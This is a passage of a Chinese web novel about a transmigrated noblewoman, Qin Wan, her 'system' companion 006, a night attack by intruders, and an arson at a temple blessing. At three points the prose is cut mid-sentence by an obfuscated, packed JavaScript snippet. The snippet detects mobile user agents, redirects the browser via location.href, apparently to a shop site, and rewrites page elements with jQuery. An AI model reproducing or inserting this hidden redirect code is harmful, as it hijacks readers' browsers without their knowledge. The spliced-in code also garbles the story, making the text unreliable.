“怎么?你以为后面的危险会少吗?之前抓住的贼人悄无声息的从死牢里消失了,你以为他不会再来找你?” “消失?那可是京城死牢......” “死牢又如何,眼下大理寺已经在查了,不过有些事情注定就只会是秘密” 裴渡眼神下移,扫过秦婉无意识咬紧的嘴唇,“何况每个地方都有秘密,每个人都有秘密,难道......你没有吗?”。 秦婉没有回答,只是抬眼定定的看着裴渡。 微风轻柔,树影交叠,竹声簌簌,秦婉手中的红发带和裴渡发间的红发带随风飘摇,相映成趣,两人眼神交汇,各怀心思。 “砰!” 秦婉重重的摔在了地上,发带被震散,漆黑的发丝随风张扬飞舞,掌心狠狠擦过锋利的台阶落到草地上,顷刻间娇嫩的手心皮开肉绽,鲜血奔涌而出,染红了翠绿的小草。 一旁一直蹙眉盯着秦婉动作的采荷急忙冲了过来,看着秦婉的惨状,眼泪唰的就流了下来,一边哽咽一边伸手搀扶,“小姐小姐,你没事吧!我......我扶你去包扎”。 刚想开口安慰,血气涌上了喉头,秦婉忍不住用力咳嗽了起来,嘴角又流出缕缕血迹。突然眼前落下一道阴影,秦婉抬头就看见面带微笑的裴渡。 清瘦的掌心中是一块方正洁白的手帕,头顶上方的声音仿若九天弦乐,轻柔而蛊惑,“秦小姐,这般辛苦折磨又何必呢,不妨我们坐下好好谈谈,若是秦小姐恰能解开裴某心中困惑,裴某定护小姐一生平安顺遂”。 “你!”采荷看裴渡方才出手毫不留情就已经生气,现在又看他假面虚伪的样子更是火冒三丈,红着眼眶忍不住要上前理论。 秦婉咽下喉咙里的一口血,拉住采荷强撑着爬了起来,眼神清澈透亮,嗓音缓慢而认真,“多谢,只是我觉得自己还可以,请继续指教吧”。 裴渡挑眉,收回了手帕,眼神划过秦婉漫天飞舞的发丝,落到了她仍在不断渗血的手心,明媚娇艳的贵女此刻仿佛染上了满身灰尘,化身了泥地里的野草,“但是你头发乱了,还受伤了”。 将沾血的红发带紧紧缠绕好双手,秦婉又捡起了落在地上的明黄色发带为自己扎了个高高的马尾,明黄色沾染上了淡淡的血迹,肆意地迎风飘舞,“现在可以开始了吗?”。 眼前的裴渡还是没有动,不会吧,万人迷男主洁癖这么严重,脏了就不教了吗?!他会的那么多,难得的学习机会秦婉一点都不想放过。 刚想开口,身侧的采荷拿起手帕轻轻擦拭了下她的脸,小声开口,“小姐,你脸上......有泪”。 一瞬间血气上涌,秦婉连忙抬手狠狠擦了擦脸,努力扯出一个大大的微笑,“不好意思啊,我这个人嘶......比较怕痛,一痛就忍不住,但是真的没事,我们可以继续了”。 “小姐”采荷拉了拉秦婉的衣角,秦婉低头安抚的拍了拍她的手,面上却故意搞怪,“快快闪开,不要拦住我成为武林高手的脚步,给你看看小姐我大力出奇迹!”。 裴渡站在对面,阳光下眼前的女子素面朝天,一身棉布练功服,头发绑得紧紧的高高的,没有首饰的发间甚至还夹着几根野草,眼神清澈纯粹,像是顶顶好的琉璃珠,通透的珠体里面洒满了阳光,照不进一丝阴霾。 秦婉见裴渡一动不动的看着她,心里有点发毛,警惕的盯着他,双手悄悄握成了拳,看他什么时候出招。 裴渡倏然笑了起来,不同于平日温文尔雅的标准微笑,唇红齿白,笑得活泼肆意,好似绣娘手上栩栩如生的画布被注入了灵魂,都生动了起来。 “秦小姐......真的很有趣”。 然而,月黑风高,有趣的秦小姐正按照系统要求,躲在走廊转角处,鬼鬼祟祟的盯着对面裴渡紧闭的卧房门。 “不是吧系统,这也太猥琐了,我真的不想干,原本只是偷窥,为什么现在都夸张到要去偷人家东西”蚊子也欺负人,还盯在她的脑门上一个劲的吸血不走了,夜深人静,秦婉一边碎碎念,一边伸手啪一声用力的向脑门上来了一掌,结果用力过猛一下栽到了地上。 “你在等什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029400|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说呢!当然是等他出门了!不出门我怎么......”006还敢挑衅,秦婉刚想和它好好理论理论,结果刚爬起身抬眼就看到面前是一张放大的微笑脸,意料之外的脸,意料之内的神色,秦婉心跳都慢了几拍。 我天好窒息,又是这张装模做样的假面微笑脸。 “你说谁装模作样?” 秦婉啪的一下瞬间捂住了自己的嘴巴,惊恐地看着眼前面无表情的裴渡。 “不是说出来的,是写在你眼睛里的” 秦婉尴尬的放下双手,眼睛眨巴眨巴,扯出一个甜甜的微笑,“呃那个这么晚了,裴公子这是要去哪里啊?” “我要去抓采花贼,秦小姐要一起吗?” “......不是,你听我解释” 秦婉咽了下口水,眼睛定定的看着裴渡,脑子却在飞快的转。 靠着柱子的裴渡双手环胸,突然又勾唇笑了起来,无边的夜色中,万人迷的绝色仿佛是一株盛放的罂粟,有着让人沉沦的魅力,“夜深了,秦小姐还是早点回去休息吧,裴某要去抓真正的采花贼了”。 说完裴渡对着秦婉微微点了点头,擦肩而过时,淡淡的桂花香袭来。 万人迷身上的香味好像比上次淡了一点,刚刚就在身后居然都没闻到...... 不过,看着夜色中那抹亮眼的白色越走越远,秦婉默默撇嘴,大晚上的穿成这样晃悠真的很像个白无常,相信吓都能把人给吓晕。 “系统,我都被抓个正着,再进去偷拿东西也太明显了,不然换个别的方式吧?”秦婉戳了戳一直偷偷摸鱼的胡萝卜,试图商量商量,没想到006直接一口应了,“好啊好啊!你早点回去休息吧!”。 秦婉有点不可思议,看006的神色不似开玩笑,“你确定?”。 “当然,我从来都不骗人的,你快回屋休息吧”006拍了拍胸脯,一脸认真。 秦婉拎起裙摆就朝着自己房间狂奔,生怕006又整个什么幺蛾子,颁布什么乱七八糟的任务。 漆黑夜色里,房间内还是亮着点点烛光,秦婉放下裙摆,轻轻打开了房门走进去,迎面就撞上一身白色里衣,一头凌乱黑色长发的“女鬼”,“女鬼”回头原来是一脸幽怨惊恐、站得笔直的采荷。 秦婉吓了一跳,整个人都要蹦了起来,“好采荷你......你差点把我吓得当场转世,不是让你睡在床上吗?你站在这里干什么?”。 “小姐,刚刚小莲来了,说夫人今晚和老爷有事商议,明早再来看小姐” 秦婉见采荷一脸小心翼翼生怕被谁发现的样子,声音细小,也学着用小小的声音回答,“明早再来,那就是我们没被发现,这不是好事吗?”。 没想到采荷脸色仍旧惨白,黑黝黝的瞳孔直直的看着秦婉,“但是小姐,屋子好像有点不对劲”。 秦婉心一跳,一把将采荷拉到自己的身后,袖间的红发带瞬间滑落到掌心,“哪里不对?”。 幽幽的女声从背后传来 “小姐,屋子里......好像还有人”。 5. 疑云 漆黑夜色里,只见烛台中的蜡烛慢慢融化,微微烛火映照出两人紧张的神色。 采荷紧紧攥着秦婉的衣角,诡异的安静在屋子里蔓延开来,两人保持着防御的姿态站在原地许久没动。 突然,窗外传来一声轰鸣,两人俱是一颤。抬眼看向外面,只见一道亮眼的闪电刺破了黑暗,紧接着细细密密的雨就下了起来。几道闪电过后,雨势就变得大了起来,噼里啪啦的砸在地面上。 秦婉松了口气,转身拍了拍采荷的肩膀,“好啦没事,赶紧去边卧睡吧”。 采荷一把抓住秦婉的手,摇了摇头,死死咬住的唇松开,“小姐,我......今晚还是在这里陪着小姐吧”。 秦婉没说话,突然翻白眼吐舌头,贴面做了个大大的鬼脸,吓得采荷一下子松开手,连连后退了几步后背撞到了墙上。 采荷靠在墙上,胸口还是起伏个不停,双手紧紧抓住自己的衣角,明显被吓得不清。站在原地缓了一会儿,采荷跺了跺脚,看过来的眼睛里都有了水雾,“小姐!” 秦婉笑着走过去,拉住采荷,“好啦,你看你这么害怕,还不赶紧回去”。 “但是......”采荷一脸欲言又止,面上是惧色,双脚却像是长在了地上,半天没动。 “那我们都检查一下你再走,安一下胆小鬼的心好吧”秦婉一手牵着采荷,一手拿起桌子上的烛台,仔仔细细的检查了屋子的每一个角落。 见房间里确实是没有什么奇怪的,采荷这才松了一口气,“小姐,应该是我太紧张了”。 秦婉抬手理了理采荷的头发,打了个哈欠,“没事了吧,赶紧去睡吧,我也困了”。 采荷点点头,扶秦婉坐到了床上睡下,转身离开前又认真的看着秦婉,“小姐,我就在旁边,有事的话就叫我”。 房门被打开又合上,越来越大的雨声中听见采荷打开伞、推开了隔壁的边卧房门又关上。 秦婉余光里漆黑房间内亮着的几盏烛光被不知从何而来的怪风吹灭,紧闭的窗户也突然吱吱呀呀发出怪声。秦婉身体紧绷,洁白的牙齿紧紧咬着下唇,左右手心里各攥紧了红发带和一支锋利的发簪。 我就知道!真服了这个倒霉体质!好歹也是京城里的贵女闺房,贼人就能这么轻易的进来吗?!不会又是上次那个黑衣男吧,怎么倒霉事儿全都逮着我一个炮灰女配薅啊,剧情走向都要拐到玛利亚海沟去了! 系统别摸鱼了,赶紧来查查我的倒霉光环到底还有没有救了! 然而不管秦婉内心的万般吐槽,夜色中异动消失,寂静之中床帘微动,一把锋利的短刀挑了进来。 银光闪过,秦婉眼疾手快,一把紧紧攥住了那人的手腕,心下用力,果然那人急促的惨叫一声,短刀就从软绵无力的手里脱落掉在了床上。 对面像是恼火,一把短刀又从另一侧猛地刺了进来。秦婉一脚踢开刺来的刀,又用力狠狠地踹向那人的胸腹。“砰!”那人狠狠砸到了地上,忍不住连连咳嗽。 趁势,秦婉一个翻身,顺手抄起床上的短刀,一把掀开床帘,直直的刺进了对方的肩膀处。 对方来不及躲闪,鲜红的血从黑色的夜行服中喷涌而出,秦婉没管溅在脸上的血迹,一把就要扯下对方的面罩。 突然身后传来“珰!”一声,像是刀剑相撞的声音。秦婉立刻攥紧短刀,侧身翻滚到了桌下,顺手摸起桌上的烛台用力吹燃。 烛光燃起,秦婉见除了地上哀叫的黑夜人外,床边还有两人正纠缠打斗。 一人同样身穿黑色夜行服,带着黑色面罩,显然是和地上一伙的,眼神狠厉,拿着刀的手却好似不熟练,像是砍白菜一样胡乱的劈刺。 另一人眉眼娇艳、身着红衣,下手果决,转眼间已连刺对面四刀,夜色中血迹飞溅、惨叫连连,整个场面血腥恐怖。 眼见两人实力差距悬殊,无需自己出力,秦婉钻出桌子,一把按住地上正要起身的黑衣人,心下用力,黑衣人的一只小腿便也“咔嚓”一声断了。 地上的黑衣人忍不住又惨叫一声,站着的黑衣人一个分神看过来,对面的红衣女子便趁机迅速扣住他的手腕,用力一扭,对方手中的刀便“哐当”落地。 地上的黑衣人见状,忍不住开口,“雨姐小心!”。 眼见两人即将都要被抓,站着的黑衣人突然从怀里掏出了什么撒向了红衣女子。 不好!秦婉下意识看向身下的黑衣人,果然对方不知从哪里拿出药粉也用力的吹向她的眼睛。 “屏息闭眼!”红衣女子一脚踹倒对方,闪身来到秦婉身侧。 一瞬间,秦婉只感觉身下的人被人用力拽走,下意识就要睁眼抓人,却被红衣女子抬手紧紧捂住了眼睛。 “哐!”窗户被人打开,紧接着秦婉就感受到夜风裹挟着雨水席卷而来,冰凉的雨水落在脸上、身上,带来了阵阵冷意。 片刻后,红衣女子松开手,秦婉也睁开了眼,就见自己被带到了窗前。 “没事吧”红衣女子一只手揽着秦婉,一只手轻轻抬起秦婉的脸,淡淡的香气飘来,秦婉下意识抬眼看过去,只见对方眉眼娇艳,红唇轻启,弯弯的眼睫上落着点点水迹,像是世间最为美艳的玫瑰花,危险又美丽。 红衣、浓颜、双刀,秦婉的眼神一一扫过,心下猜测,这应该就是原书中的最后一位主角团成员:叶宁。 叶宁见秦婉没有回应,只用水灵灵的眼睛一动不动的看着她,忽然意识到雨夜自己突然出现在一个陌生女子的闺房是有点奇怪。 “裴渡让我来的” “裴渡?” 叶宁见屋子里药粉气息被吹得差不多了,轻轻关小了窗户,顺手拿起衣架上挂着的外衣裹紧了秦婉,点点头,“对啊,他今晚有事,让我在秦府保护你”。 “保护我?” 假面男有这么好心?!秦婉简直不敢相信,呆呆地站着任由自己被裹紧,暖意上身,才仿佛回神了,身体下意识往衣服里面埋了埋。 圆圆的眼睛一眨不眨认真的看着自己,微张着嘴露出洁白的牙齿,身上软白的衣物更衬得秦婉整个人乖巧得像是一只小兔子,谁能想到这只看似人畜无害的小兔子就在刚刚硬生生折断了贼人的骨头呢? 叶宁一边掏出手帕轻轻擦拭掉秦婉脸上的血迹,一边笑着说,“对啊......你怎么这么可爱啊,感觉看到你就觉得裴渡也没那么有吸引力了,怪不得裴渡愿意花费一个人情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029401|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让我专门来保护你呢”,说着忍不住又轻轻捏了捏秦婉软软的脸颊。 秦婉心下一动,恐怕是裴渡发现自己能压制他的万人迷光环,所以要特意留人保护自己,好研究出背后的原因吧,可恶啊,真是把我当小白鼠了。 不过转念一想,男主还特意关心她的生死,那说明,以后遇到危险的话又多了一重安全保障!不错不错! “对了我叫叶宁,婉婉以后可以就叫我......叫我宁宁姐吧”叶宁说着,又摸了摸她的脑袋,“之前一直都是我最小,终于我也可以做姐姐了”。 吱呀 秦婉还没出声,就见房门被推开,采荷身后是一身青衣布杉、手里提着一个药箱子的沈清清。 暖黄烛光下,秦婉看着沈清清轻轻的捧着她的手腕吹开了手心的灰尘,又从药箱子里面拿出了纱布药酒细心的处理起了手心的伤。 “真是麻烦沈姐姐了,风大雨大,采荷还请你来跑这一趟” 沈清清抬头,看着秦婉轻轻摇了摇头,“多亏她来这一趟,这伤口若明日再处理,说不定要留痕了,近些时日要小心些,不要再让伤口裂开了”。 “小姐,我回去翻来覆去都睡不着,总觉得不对劲,这才找了个借口,请沈姑娘一同再来看看你的伤,顺便来看看屋子有没有异样”采荷站在秦婉的另一侧,鼓起嘴巴好似有点生气,眼睛却红红的看着就要落泪,“真的是......好在来了,只是麻烦了沈姑娘”。 沈清清还没动,坐在一旁慢悠悠喝茶的叶宁直起身一把扶起了正行礼的采荷,笑着打量着她,“你们秦府真有意思,一只小兔子和一只小仓鼠,动物窝啊”。 话音未落,沈清清就抬头扫了叶宁一眼,叶宁移开眼神,假装无事发生继续喝茶。 沈清清又转头看向二人,“请不要生气,叶宁没有恶意的” 秦婉对她点点头,又拍了拍正气鼓鼓的采荷,“采荷,夜深了,我也没事了,现在可以回去安心休息了吗?”。 采荷点点头,一步三回头的离开关上了房门。 “沈姐姐,你能看出这些是什么粉末吗?” 烛光中,秦婉白皙的指尖从袖间捻出了一点粉末,细密绵白,看样子像是现代的面粉。 叶宁诧异的看了秦婉一眼,“你竟然还留了一点?”。 秦婉点点头,“撒过来时恍惚闻到一点异香,不知具体是什么,就想留一些查查来历”。 沈清清细细的打量了下手里的白色粉末,眉头微微皱起,半晌才抬眼认真的看向二人,“有点像是迷药混着催情香,这是采花贼惯用的手段,你们这是遇上了采花贼”。 “采花贼?” 叶宁和秦婉异口同声,四目相对,两人的面上都带着满满的诧异和震惊。 “我以为是什么偷窃财物的小贼,手法如此粗糙,以为的毒粉竟是......”叶宁又转头看向窗外,“最近京城富贵人家频频失窃,护卫队时刻不停地沿街巡逻,两个小贼身受重伤必定会被捉住,我才没有追出去,没想到竟是采花贼”。 秦婉不敢相信,眼中烛火跳动,看着沈清清喃喃开口 “可......可那两个小贼分明是女子啊”。 6. 祈福 夜色压抑,闷热的空气中,轰隆隆的雷声翻滚咆哮,像是要撕裂整片天空。暴雨倾盆,各家各户房门紧闭,街角巷尾传来阵阵齐整的脚步声。 两个黑衣人藏匿在树丛间,大雨不停打在身上,腰腹间的鲜血不断渗出、滴落。 “雨姐,不行的话,我去引开他们,你从西南角走” 一个黑衣人说着就作势准备起身,另一个黑衣人一只手捂着肚子,一只手用力将人拉下,紧紧皱着眉,“这么多人你怎么引开?你一个脑袋都不够被砍的,我们再等等”。 被拉下的黑衣人死死咬着下唇,牙齿刺破细嫩的嘴唇,淡淡的血迹蜿蜒而下。 不一会儿,黑衣人像是下定了决心,眼里燃烧着灼灼火光,哑声道:“不能再等了,我去引开他们,雨姐你一定要把我妹妹......”。 话音未落,两人就见到巡逻的侍卫队伍像是突然收到了什么命令般调转了方向,路过他们藏身的街角,径直的朝着前方走去,半晌没有动静。 “没人了,赶紧走” 被唤作雨姐的黑衣人见没了动静,立刻拉起另一个人转瞬消失在了街角。 “走吧,跟去看看” 屋檐上,凌霄手里握着一把青色的油纸伞,看着两人消失的身影,和裴渡说,没有回应,转头就见裴渡已经提前追了上去。 “你还真是......” 凌霄好笑的摇了摇头,一个箭步追了上去。 漆黑夜色里暴雨如注,楼内却人头攒动、娇声笑语不断。离得近些,甚至能闻见浓重的香粉气。 街尾转角处,裴渡和凌霄站在青石板上,抬眼看向楼正上方的牌匾,香月楼。两人对视一眼,神色不明,身形一闪,消失在了原地。 “系统别摸鱼了,赶紧查查现在是什么情况啊” 沈清清和叶宁离开后,秦婉盘着腿坐在床上,今晚发生了这么多事情根本睡不着,干脆和006开始算账。 006皱着眉不断划拨着虚空,仿佛前面有一个屏幕一样,不一会儿,它飘移到了秦婉的旁边,眼神飘忽,扯出了一个大大的假笑,谄媚道,“呃,我和你说个事儿你别生气啊” “快说” “我发现你的倒霉光环增强了,影响范围也变大了” “......还有吗” “剧情会根据现实情况自动完善,所以目前在主剧情大方向不变的情况下,会生成许多分支剧情,宿主需要在适应分支剧情的情况下,引导主剧情发展,防止发生剧情脱轨的意外” 秦婉越听越感觉前方荣华富贵的躺平生活离她越来越远了。 圆圆的脑袋扎在被褥里,闷闷的女声传来,“万人迷的光环不是能和这个倒霉体质互相克制吗,这段时间我都和裴渡呆在一起的,为什么还会变得更倒霉啊” 006看她这毫无生机的样子也有点愧疚了,“是有点奇怪,我会上报主系统尽快进行核查的,一定给你个交代”。 窗外雨水噼里啪啦的打在花圃上,娇艳脆弱的月季不堪其重,柔软的根茎左右晃动不已,花骨朵眼见就要凋零,摇摆几下却又神奇的挺立着。 隔日天空放晴,雨后天晴的空气仿佛都好闻了不少,轻盈中又带着些微的寒意。 秦婉坐在桌前,细微的疼痛传来,沈清清正细致的给她换药。秦婉转移注意力眼睛不由自主的落到了窗外小院子里的花圃中。 站在一旁的采荷知道秦婉在忍痛,顺着她的眼睛看过去,抿了抿唇,笑着开口转移她的注意力,“小姐,昨夜一夜暴雨,今早看院子里的花朵儿却没凋零几支,看着娇嫩,实则还是很有韧劲的”。 秦婉点点头,脑海里却在不断闪现系统说的话,主剧情不变的情况下,会出现不少分支剧情。 采荷见秦婉好似在出神,转念想了想,又开口,“小姐,夫人说今日来看小姐,想必很快就......” 话音未落,一个人影就走了进来,正是秦母。 “宝儿啊,疼不疼啊,采荷说这个月来你时常练习得太过,起得越来越早,睡眠越来越少,这可不好啊!” 秦母看着秦婉微红的眼眶心疼的又是摸摸她的肩膀,又是摸摸她的脑袋,“瞧瞧都瘦了”。 沈清清将纱布药酒又放回了药箱中,朝秦母微微点了点头,“秦夫人,换好药了,我就先走了” 秦母感激的点点头,“真是辛苦沈姑娘了” 青色的发巾随风微微晃动,沈清清笑着摇摇头,“还要多谢秦夫人,送了我许多珍贵药学孤本” 说起医药,沈清清清冷自持的眼睛里出现了无限光彩,一身青色布衣也难掩夺目吸睛的芳华。 “沈姑娘如此客气,医术高超却没有半点孤高傲气之意,那些医书在我们这儿也不过是放着,在沈姑娘手里有用就好” 几人正说着,门外的小莲进来,“夫人,快到时辰了” 秦婉抬头看向秦母,有点不解,“什么时辰啊” 秦母亲昵的捏了捏秦婉的脸,“今日要陪同静妃娘娘去锦华寺为天下祈福,你受了伤就安心在家养病吧” 秦婉心下一惊,锦华寺?第一个任务点!原剧情秦母并没有去啊。 “可是......暴雨刚过,山陡路滑,今日一定要去吗?” 秦母理了理衣袖就准备往外走,“静妃娘娘邀了许多官家夫人小姐一同去为天下祈福,我又怎么能不去呢?” 秦婉站起身一把拉住秦母,用力过猛,手心的伤口传来阵阵痛感,“那我也要去!” “你也要去?” “你也要去!” 耳边和脑海里同时传来声音,006震惊的爬起身,仿佛在看一个怪物,“你不是最惜命了吗?难得倒霉事没有落在你身上不习惯了?都知道会发生什么你还去,你疯了吧!真是让系统痛心,你背叛了我们的躺平联盟啊!” 秦婉没有理叽里呱啦的006,只是看着疑惑的秦母笑道,“我在家也无聊的紧,不如陪你一起去”,看秦母一脸担忧的看着她的手,就扯出了一个大大的微笑,走上前去晃了晃她的肩膀,“这样呼吸新鲜空气,说不定还能好的更快呢!” “好吧”秦母无奈的点点头。 青云山上锦华寺,皇家贵人祈福之宝地,山路两旁,几棵古树挺立着,一片清幽古朴之色;爬到光明处,再往上看,只见眼前殿宇连绵,雕栏玉柱,白玉栏杆扶摇而上,青瓦飞檐隐蔽在参天古树下连绵一片。 秦婉身着素衣,陪同秦母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029402|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走在队伍的后方。跨步走进寺庙,檀香清幽,缠绕着、盘悬着,阳光洒进来,整个大殿佛光普照,看着就令人心神安稳。 捻着墨绿色佛珠的住持走了出来,意外的年轻俊美,一身素白色的长袍丝毫没有减他半分风采,反而衬得整个人更加清冷脱俗。 “静妃娘娘安好” 无尘对着站在首位的紫衣女子微微颔首,一双眸子澄澈深邃,微微勾起的唇角带着似有似无的浅笑。 静妃也微微点头,清冷的眸子里闪过一丝复杂,涂着杜鹃花汁液的指尖慢慢掐紧了手心的皮肉,“怎么不见无白大师”。 无尘眼神无波无澜,嘴边仍是一个浅笑,“娘娘莫怪,师傅重病,怕惊扰了诸位贵人,现在房中养病”。 静妃皱了皱眉,没有再说话,轻轻摆了摆手,带着众人进了内殿。 柔软的蒲团上,秦婉跪坐着静静的看着前方巨大的金身佛像,佛像闭着眼,双手轻捻,坐莲状,嘴角微微勾起,光线透过窗棂洒进来,金光斑驳,佛像仿佛有了灵魂,下一秒就要睁开眼。 “小寺备了斋饭,若贵客们不嫌弃,斋饭将由小僧分别送到诸位客房中”经历了漫长的念佛经和上香的过程,秦婉还真觉得自己有点饿了,挽着秦母的手,跟在众人身后走向客房。 客房外松柏郁郁青青,偶然两只鸟儿落在树枝上鸣叫两声,一阵微风吹过,鸟儿便又扑闪着翅膀飞走了。客房内简单干净,洁白的被褥旁还放着一本佛经,方正的桌前放着两盏烛台。 “没有肉菜宝儿也能吃得如此香啊”,秦母笑看着正在猛猛干饭的秦婉,看她有点要呛住了,连忙又端来一杯茶水,“慢点慢点”。 秦婉心想,今天还有大事要发生,吃不饱担心跑都没力气跑啊。 006在脑海里一边翻白眼,一边阴阳怪气的夸赞,“对啊,女侠嘛,是得多吃点哈” 秦婉暗暗叹了一口气,在心里给006顺了顺毛,“这可不是我强出头,一定要干涉主剧情,主要是我担心......担心主剧情有变化,就想跟过来看看,你放心吧,多余的事情我一件都不会做的”。 006无可奈何又傲娇的点点头,转身去看小人书之前又回头,“我会一直盯着你的!”。 昨夜的雨水欲落不落的挂在竹叶上,一只浅黄色的小鸟雀站在枝丫上,扭头轻轻吸吮。秦婉看得新奇,踮起脚尖正要去逗一逗,就听见前方竹林深处仿佛站着一男一女。 完了,紫色的宫服和白色的僧袍,如个厕遛弯的功夫又闯进什么现场了?!小命最重要,我一点也不好奇八卦! 秦婉一手紧紧捂住嘴,一手揽起自己的裙摆抱在怀里,踮起脚尖悄悄转身,耳朵尖似乎听到女子在质问什么,默念着我不听我不听,但是离开之前还是隐约听到男子的一句: “娘娘是高悬九天的明月,无论......如何,无尘定当永远追随娘娘” 静妃见无尘的眼睛直直的看向自己的后方,便也皱着眉转身看去,只见一只浅黄色的小鸟扑腾着翅膀围绕着一根竹子转个不停着急得很,像是迷路了。 “你在看小鸟?还挺有趣的” 无尘也移开了视线,嘴角勾勒出一丝浅笑,“确实......很有趣”。 7. 佛像 幽幽的檀香静静氤氲在整个静室内,各家夫人、小姐都按序坐在蒲团上,每个人都跟着无尘念着佛经。 片刻,檀香燃尽,无尘轻轻合上了书页,浅笑道,“请诸位移步大殿,进行今日最后一次的上香,上香完毕后,诸位便可尽早下山了”。 大殿之中,金身佛像仍旧笑盈盈的看着下方的众人。 静妃素手执香,首先上前,金色的光辉印在白净的脸上,只见静妃神色肃穆,将香稳稳的插入了香火炉中。 “啪嗒!” 众人眼前,长香竟突兀的折断成了两半,落入了香火灰烬之中。 “无妨,恐怕是昨夜雨大香受潮了,来人,给本宫再呈上一份” 静妃面色如常,一句话止住了身后众人的胡思乱想。 片刻,身旁的侍从便又奉上一份香。静妃素手伸过去,轻轻的拿起了香,又走向了佛像。 “啪嗒!” 众目睽睽之下,长香竟又断了。 “荒唐!” 看着香折断,又落入灰烬之中,静妃一甩衣袖,冷冷的目光看向长身玉立、一直站在身侧的无尘。 “娘娘息怒” 众人惶恐跪倒在地,静妃不语,只是仍旧看着无尘。 无尘走上前来,脸上一直温和的笑意也没了,朝着静妃躬了躬身,语气严肃,“娘娘稍等片刻,贫僧这就去查”。 队伍后方,秦婉跪在秦母身侧,悄悄抬眼看向四周,众人脸色俱是难看不已。 “查?” 静妃似笑非笑的看着无尘,眼睛里却没有半分笑意。 “依本宫看,不必查,定是这大殿里面有什么不干净的东西在作祟” “佛像面前,娘娘慎言”,无尘向前一步,无波无澜的脸上闪过一丝复杂,一个眼神扫过一旁站立的小僧,几个小僧立刻退下去查,“贫僧就陪诸位贵客在大殿之内稍等片刻”。 无尘拂了拂衣袖,看向静妃,“娘娘请”。 静妃走向前,随意的看向大殿的四处,身后的秦婉紧紧攥着衣角,跟在秦母身后,眼睛一眨不眨的看向前方笑盈盈的金身佛像。 完了,不祥的预感! 秦婉悄悄咽了下口水,双手捏成拳头,蓄好力,脚步不停,越走越近,眼见就要走到佛像身侧。 “啊!那个......那个是什么啊?” 一个眼尖的夫人率先发现金身佛像的一角像是压着什么红色的东西。 闻声众人顺着她的目光看去,只见佛像身下竟压着一件红衣。无尘脸色难看,几步上前,扯出红衣,一拎起来上面甚至还在不断渗着血,不一会儿,脚边便是一滩血泊。 “保护娘娘!” 侍卫、宫女蜂拥而入,团团围住整座大殿,一边护卫众人离开大殿,一边警惕的看向四周。 “砰!” 忽然,殿门像是被人从外面落了锁,下一刻一道拔高的凄厉的女声就从外面传了进来。 “该死!你们全都该死!” 大殿的几扇窗户被人投进来几个火种和迷药,殿宇之内大多是木质的,瞬间火势便大了起来。 烟雾缭绕,迷蒙不清,随从们一半护驾,一半破门。 皇宫侍卫名不虚传,不到片刻,大殿的门便被劈开,新鲜的空气从外涌进来,众人仿佛回了神,立刻向外面奔逃。 秦婉正紧抓着秦母的手向外奔跑,突然听到身后一个尖叫的女声。 “啊!” 秦婉回头就见一个同她差不多大小的小姐正站在佛像身后,她的前后方都掉落了巨大的燃烧着的房梁,拦住了她的去路。殿宇内的火舌张牙舞爪撕咬着各处,到处都是火,巨大的金身佛像在火光中轻轻晃了晃,似乎就要缓缓向后倒下。 秦婉深吸了口气,双手用力,一把将秦母推出了门,转身跃入火光之中,朝那女子的方向跑去。 “宝儿!” 秦母站在门外看着秦婉目眦欲裂,眼睁睁的看着无数烧红的房梁木块直直的坠落,其中一块狠狠砸在了秦婉的肩头,秦婉闷哼一声继续向前。 “救人啊!快去救人啊!” 火势越来越大,伴随着迷烟,惊惧之下,众人状态愈来愈差,几位夫人甚至直接昏迷瘫倒在地。侍卫宫女连同小僧只能分成两拨,一部分人照顾伤者,一部分人提水救火,场面混乱不堪。 水井处,无尘一身白袍已然染成了灰色,正在和众人一同躬身打水,手里的水桶突然被静妃一脚踹翻。 静妃满脸怒意,像是要找人算账,一把紧紧揪住他的衣领,生生将他拽到了屋内,一脚踹上了门,对外面的众人呵斥了一声,“本宫无事!赶紧都去救火!”。 转头对着无尘满脸的怒意转瞬即逝,勾起唇角轻笑了一下,轻蔑的眼神扫过他狼狈的衣物,红唇附耳,“无尘这是......入戏太深?”。 无尘也轻轻笑了起来,原本无波无澜的眼睛里是满满的兴奋,“娘娘,事情要做真不是吗?” “这次恐怕是要死两个,除了原本定下的那个,还有一个,不知从哪冒出来的” 静妃放开手,看着上面的灰烬水迹,皱着眉像是嫌恶地拍了拍,冷静的眼睛里闪过一丝复杂。 无尘走上前,一把掀开白袍跪了下去,从胸前衬衣里掏出一块帕子,细心的给静妃擦拭着手,眼里好似仍旧跳跃着火光,声音都带着激动的颤抖,“大业在前,这只是个开始,娘娘万万不能心软”。 趁着大风,火势愈演愈烈,逐渐淹没了整座大殿,甚至开始向四周的寺庙蔓延。 